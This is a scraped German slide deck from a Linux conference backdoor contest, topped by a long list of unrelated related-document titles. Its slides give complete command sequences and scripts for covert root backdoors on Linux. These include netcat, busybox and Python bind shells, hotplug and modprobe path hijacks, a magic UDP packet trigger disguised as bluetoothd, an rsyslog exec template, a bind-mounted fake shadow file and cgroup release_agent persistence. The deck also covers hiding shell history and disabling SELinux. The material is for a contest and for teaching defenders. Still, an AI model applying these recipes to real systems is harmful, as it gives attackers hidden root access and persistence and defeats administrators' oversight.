Backdoors mit Bordmitteln Vol.c3d2



Ähnliche Dokumente
Backdoors mit Bordmitteln Vol.2

Backdoors mit Bordmitteln Vol.2ubu

Backdoors mit Bordmitteln

SFTP SCP - Synology Wiki

Der zweite all unsere Datenbanken. Dieser Befehl ist etwas komplexer, aber bis auf das Passwort (kursiv fett) so zu übernehmen:

Dateisystem 1, Suchpfad, Befehlstypen

Dateisystem 1, Suchpfad, Befehlstypen

Installation Messerli MySQL auf Linux

Firewalling. Michael Mayer IAV0608 Seite 1 von 6

Benutzer und Rechte Teil 1, Paketverwaltung, SSH

Update Messerli MySQL auf Linux

INHALT 1. INSTALLATION DES V-MODELL XT UNTER WINDOWS 7 2. INSTALLATION DES V-MODELL XT UNTER WINDOWS VISTA

PC Hack erkennen 3 - Rootkits & versteckte Trojaner aufspühren

Gibt Daten im erweiterten Format aus. Dies beinhaltet die Angabe von Zugriffsrechten, Besitzer, Länge, Zeitpunkt der letzten Änderung und mehr.

Installationsanleitung für pcvisit Server (pcvisit 12.0)

OP-LOG

Tutorial -

Anleitung zur Einrichtung eines Netzwerkes für den Gebrauch von GVService unter Windows 7

Advoware mit VPN Zugriff lokaler Server / PC auf externe Datenbank

Installationsanleitung für pcvisit Server (pcvisit 15.0)

Intrusion Prevention mit IPTables. Secure Linux Administration Conference, 6. / 7. Dec Dr. Michael Schwartzkopff. iptables_recent, SLAC 2007 / 1

ab Redirector-Version 2.14

DNS 323 Datenwiederherstellung mit Knoppix (DVD) ab Firmware Version 1.04b84

mit ssh auf Router connecten

Kleines Handbuch zur Fotogalerie der Pixel AG

FastViewer Remote Edition 2.X

Benutzer und Rechte Teil 1

INSTALLATION DES V-MODELL XT UNTER WINDOWS VISTA

CMS.R. Bedienungsanleitung. Modul Cron. Copyright CMS.R Revision 1

1) JAVA JRE auf der QNAP Box installieren

WordPress lokal mit Xaamp installieren

Windows 7/8 - Backdoor

Migration Howto. Inhaltsverzeichnis

Einrichtung des Cisco VPN Clients (IPSEC) in Windows7

Installation DV4mini ausgehend von einem frisch installierten System:

ADDISON Aktenlösung Automatischer Rewe-Import. Technische Beschreibung

System-Update Addendum

Was meinen die Leute eigentlich mit: Grexit?

Linux - a bit advanced

Installation Linux agorum core Version 6.4.5

Lizenzen auschecken. Was ist zu tun?

Firewall Implementierung unter Mac OS X

Luis Kornblueh. May 22, 2014

Der Kalender im ipad

Programme im Griff Was bringt Ihnen dieses Kapitel?

Was muss gesichert werden? -Ihre angelegten Listen und Ihre angelegten Schläge.

Computer Algebra Plan der Vorlesung. erstes Drittel: linux, emacs, L A TEX zweites Drittel: Sage als Taschenrechner letztes Drittel: Python für Sage

Laufwerke unter Linux - Festplatten - - USB Sticks - September 2010 Oliver Werner Linuxgrundlagen 1

Eine Einführung in die Installation und Nutzung von cygwin

CTX 609 Daten Fax Modem. Installation Creatix V92 Data Fax Modem (CTX 609) unter Windows XP/ Windows Installation unter Windows XP:

Installation des Add-Ins für Lineare Algebra in Microsoft Excel

How to install freesshd

Lokale Installation von DotNetNuke 4 ohne IIS

Informatik 1 Tutorial

Leitfaden zur ersten Nutzung der R FOM Portable-Version für Windows (Version 1.0)

Formular»Fragenkatalog BIM-Server«

Matrix42. Use Case - Bearbeiten einer Störung unter Verwendung von Inventardaten, Aktionen und Knowledge Base. Version

Anleitung: Confixx auf virtuellem Server installieren

Übung - Datensicherung und Wiederherstellung in Windows 7

Computeria Solothurn

EASYINSTALLER Ⅲ SuSE Linux Installation

SAN-Zertifikate anfordern und erstellen

Artikel Schnittstelle über CSV

Battlefield 2 BF2CCD Anleitung

ANLEITUNG NETZEWERK INSTALATION

Fotos in Tobii Communicator verwenden

User Mode Linux. Sven Wölfel 15. April 2005

Erklärung zu den Internet-Seiten von

Erstellen einer digitalen Signatur für Adobe-Formulare

Exchange Export. Mailbox Export

Initramfs - The initial RAM filesystem

Backup der Progress Datenbank

In 15 Schritten zum mobilen PC mit Paragon Drive Copy 11 und VMware Player

Serviceanweisung Austausch Globalsign Ausstellerzertifikate

UserManual. Handbuch zur Konfiguration einer FRITZ!Box. Autor: Version: Hansruedi Steiner 2.0, November 2014

Windows 7 Winbuilder USB Stick

Skripte. Beispiel. M. Fyta Computergrundlagen 73/93

Installation unter Windows

Stecken Sie Ihren USB Stick oder Ihre externe USB Festplatte in den USB Steckplatz des Sinus 154 DSL SE.

Mit einem Doppelclick auf den Ortsnamen erhalten Sie eine Liste mit allen Pulheimer Adressen angezeigt.

Anleitung: DV4Mini auf einem Raspberry Pi

VNUML Projektpraktikum

Webbasierte Installation des Cisco AnyConnect VPN-Client 3.1 unter Linux

Stand: Adressnummern ändern Modulbeschreibung

X Anmelden am System. X System herunterfahren. X Grundlegendes zur Shell. X Das Hilfesystem. X Dateioperationen. X Bewegen im Verzeichnisbaum

Netbeans 6.1 mit SVN Server unter Debian etch mit Windows Clients

Sicherheit unter Linux Workshop

SANDBOXIE konfigurieren

Datenübernahme von HKO 5.9 zur. Advolux Kanzleisoftware

Installation Messerli MySQL auf MAC OS X

Word austricksen FORTSETZUNG. Serienbriefe Für Word XP. Word austricksen Fortsetzung: Serienbriefe. Roland Egli Educational Solutions

INSTALLATION. Voraussetzungen

Installation Linux agorum core Version 6.4.8

MSXFORUM - Exchange Server 2003 > SMTP Konfiguration von Exchange 2003

Quartalsabrechnung! " " " " " " " Stufe 1! Beheben von Abrechnungsfehlern" Stufe 2! Neue Abrechnung erstellen"

Windows 2000 mit Arktur als primärem Domänencontroller (PDC)

Informatik I Tutorial

BitDefender Client Security Kurzanleitung

Test mit lokaler XAMPP Oxid Installation

web: CAD/CAM-Systeme Entwicklung Beratung Vertrieb Kundenbetreuung Service für Werkzeugmaschinen

Transkript:

... und wie kann man das triggern? 7. September 2013

Wie wo was? Einführung und Motivation Hackingcontest auf dem Linuxtag (müsste eigentlich Backdoor Contest heißen) Zu gewinnen gibt es Ruhm, Ehre und nette Gadgets Gesponsert von... (aktuell kein Sponsor)

Situation Einführung und Motivation Admin verlässt seinen Arbeitsplatz und hat eine Rootshell offen gelassen Ein paar Linuxkundige stellen lustige Dinge TM mit dem System an Admin merkt, dass etwas nicht stimmt

Warum Bordmittel? Contest-Regeln Meistens Default-Desktopinstallation Distribution ist vorher nicht bekannt Kein Zugang zum Internet Keine Datenträger außer Papier erlaubt Kein Reboot erlaubt

Ablauf Einführung und Motivation Drei Phasen, jeweils 15 Minuten 1 Die beiden Teams setzen sich an die vorbereiteten Rechner mit offnener Rootshell und bauen ihre Backdoors ein. 2 Die Teams tauschen die Plätze und schlüpfen in die Rolle des Administrators, der die eingebauten Backdoors sucht. Für gefundene und entfernte Backdoors gibt es Punkte. 3 Die Teams tauschen nochmal die Plätze und demonstrieren ihre verbliebenen Backdoors in Aktion. Funktionierende Backdoors geben nochmal Punkte.

Sicherheitsvorkehrungen.bash_history auf /dev/null symlinken Schreiben von.viminfo deaktivieren Auf SELinux-Systemen enforcing mode ausschalten setenforce 0

Kein C-Compiler, was nun? Konfigurationsdateien ändern Skripte oder andere Mechanismen finden, die mit root-rechten ablaufen, jedoch durch Nutzeraktionen triggerbar sind netcat is your best friend nc -l -p <port> -e /bin/sh C-Quelltexte einhacken dauert oft zu lang (15 Minuten sind verdammt wenig Zeit... )

netcat fehlt, was nun? Remote shell helper in Python (/sbin/ncsh) #!/usr/bin/python import os from socket import * fd = socket(af_inet,sock_stream,ipproto_tcp) fd.setsockopt(sol_socket,so_reuseaddr,1) fd.bind(("",2400 + os.getpid() % 10)) fd.listen(1) sock, remote = fd.accept() os.dup2(sock.fileno(), 0) os.dup2(sock.fileno(), 1) os.execl("/bin/bash", "bash")

netcat fehlt, was nun? contd. Busybox to the rescue! Multicall-Binary für Minimalsysteme und initiale Ramdisks Normalerweise unterschiedlich benannte Symlinks auf ein Binary. Der Name des jeweiligen Busybox-Applets darf auch als erstes Argument übergeben werden. busybox nc -l -p <port> -e /bin/sh

hot tty Einführung und Motivation Das Benutzen von /dev/tty42 soll die Datei /etc/shadow für alle schreibbar machen /dev/tty42 für alle schreibbar machen Verbiegen des hotplug-pfads auf ein eigenes Skript Skript ruft passendes chmod-kommando auf, wenn im Hotplug-Event die Minor-Gerätenummer auf 42 gesetzt ist

hot tty contd. Einführung und Motivation Ersatz für /sbin/hotplug (/lib/libhot.so) #!/bin/sh if [ "$MINOR" = "42" ] ; then chmod 666 /etc/shadow fi Skript als Hotplug-Helper eintragen # chmod 666 /dev/tty42 # echo /lib/libhot.so > /proc/sys/kernel/hotplug $ echo foobar > /dev/tty42 $ vi /etc/shadow

transform to root Der Aufruf von ip xfrm policy als unprivilegierter User soll das chroot-binary auf SUID root setzen Der Kernel lädt bei obigem Kommando das Modul xfrm_user nach (Aufruf von modprobe direkt durch den Kernel) Verbiegen des modprobe-pfads auf ein eigenes Skript Skript prüft auf den Modul-Alias net-pf-16-proto-6 und setzt beim Match das SUID-Bit von chroot Gibt es keinen Match, überlagert sich das Skript mit dem echten modprobe

transform to root contd. Ersatz für modprobe (/var/log/apt/.pkg) #!/bin/sh case "$@" in *net-pf-16-proto-6*) chmod 4755 /usr/sbin/chroot ;; *) exec modprobe "$@" ;; esac # echo /var/log/apt/.pkg > /proc/sys/kernel/modprobe $ ip xfrm policy $ /usr/sbin/chroot / /bin/bash -p

InSecure Shell Zugriff auf den SSH-Server mit einem SSH-Client soll eine Rootshell an einen hohen Port binden Blacklist-Datei für schwache OpenSSL-Keys gegen Gerätedatei austauschen Lesender Zugriff auf diese Gerätedatei triggert den Kernel, das zur Major/Minor-Nummer gehörende Kernelmodul zu laden (Aufruf von modprobe direkt durch den Kernel) Modulkonfiguration /etc/modprobe.d/aliases.conf so anpassen, dass anstelle des Kernelmoduls das Kommando ncsh ausgeführt wird

InSecure Shell contd. # cd /usr/share/ssh # mv blacklist.dsa-1024 blacklist.dsa-1024. # mknod blacklist.dsa-1024 c 242 0 # echo "alias char-major-242-* nix" \ >> /etc/modprobe.d/aliases.conf # echo "install nix ( /sbin/ncsh & ) &" \ >> /etc/modprobe.d/aliases.conf $ ssh bla@<target_ip> $ nc <target_ip> 240[0-9]

magic idle timer Ein magisches UDP-Paket soll eine Rootshell an einen hohen Port binden Eine iptables-regel reagiert auf das Paket und benutzt das IDLETIMER-Target (Timerwert in sysfs sichtbar) Ein Shellskript prüft zyklisch den sysfs-eintrag. Ist der Timerwert ungleich Null, wird die Rootshell gestartet. Das Skript soll als unverdächtiger Dienst getarnt werden

magic idle timer contd. Timer listener (it) while : do read t < /sys/class/xt_idletimer/timers/fwstat [ "$t"!= "0" ] && busybox nc -l -p 7878 -e /bin/sh read -t 2 < /dev/tty22 done

magic idle timer contd. # iptables -t raw -A PREROUTING -p udp --dport 7878 \ -j IDLETIMER --timeout 10 --label fwstat # mount --bind /bin/bash /usr/sbin/bluetoothd # mount --bind it /etc/bluetooth/main.conf # ( /usr/sbin/bluetoothd /etc/bluetooth/main.conf & ) & # umount -l /usr/sbin/bluetoothd # umount -l /etc/bluetooth/main.conf # rm it $ echo x nc -u <target_ip> 7878 $ nc <target_ip> 7878

rsyslog me in Einführung und Motivation Ein magisches Syslog-Paket soll eine Rootshell an einen hohen Port binden Rsyslog umkonfigurieren, so dass Remote Syslog (514/udp) empfangen wird Log-Template definieren, das bei Log-Nachrichten von Facility local0 mit Loglevel alert ein externes Skript (/usr/bin/rlog) ausführt Das Skript startet (mal wieder :-)) den ncsh-helper

rsyslog me in contd. Anpassungen in /etc/rsyslog.conf --- rsyslog.conf.orig +++ rsyslog.conf -#$ModLoad imudp -#$UDPServerRun 514 +$ModLoad imudp +$UDPServerRun 514 $FileGroup adm $FileCreateMode 0640 +$template std,"def" $WorkDirectory /var/spool/rsyslog +local0.alert ^/usr/bin/rlog;std

rsyslog me in contd. Template-Skript (/usr/bin/rlog) #!/bin/sh ( /sbin/ncsh & ) & $ echo "<129>got root?" nc -u <target_ip> 514 $ nc <target_ip> 240[0-9]

kurz und frech Unprivilegierte Nutzer sollen mit mount das Rootpasswort ändern können Kopie von /etc/shadow erzeugen Den Passwort-Hash von root in der Kopie auf einen bekannten Wert setzen Die Datei /etc/fstab passend ändern...

kurz und frech contd. # cp -a /etc/shadow /usr/lib/s # vi /usr/lib/s root:42zxmosie5ptw:... # vi /etc/fstab /usr/lib/s /etc/shadow none bind,user,noauto 0 0 $ mount /etc/shadow $ su Password: (xxx eingeben)

agent r Einführung und Motivation Fehlgeschlagene Logins auf den Konsolen tty4-6 sollen eine Rootshell auf tty10 starten. Die PIDs der getty-prozesse von tty4-6 in eine Control Group (cgroup) eintragen Das notify_on_release-flag für diese cgroup setzen Shell-Starter als release_agent eintragen Shell-Starter (/usr/lib/ra) #!/bin/sh exec /bin/bash </dev/tty10 >/dev/tty10 2>&1

agent r contd. # mount -t cgroup -o cpu cg /sys/fs/cgroup/ # cd $_ # mkdir p # echo PID_GETTY_TTY4 > p/tasks # echo PID_GETTY_TTY5 > p/tasks # echo PID_GETTY_TTY6 > p/tasks # echo 1 > p/notify_on_release # echo /usr/lib/ra > release_agent # cd # umount /sys/fs/cgroup/

immortal shell Eine Rootshell auf Konsole tty16 soll nach dem Beenden sofort neu gestartet werden. Der Neustart-Mechnismus soll nicht erkennbar sein.???

immortal shell contd. Shell-Restarter (/usr/lib/libb.a) #!/bin/sh P=/mnt mount -t cgroup -o blkio cg $P mkdir $P/p echo $$ > $P/p/tasks echo 1 > $P/p/notify_on_release echo /usr/lib/libb.a > $P/release_agent umount $P exec /bin/bash </dev/tty16 >/dev/tty16 2>&1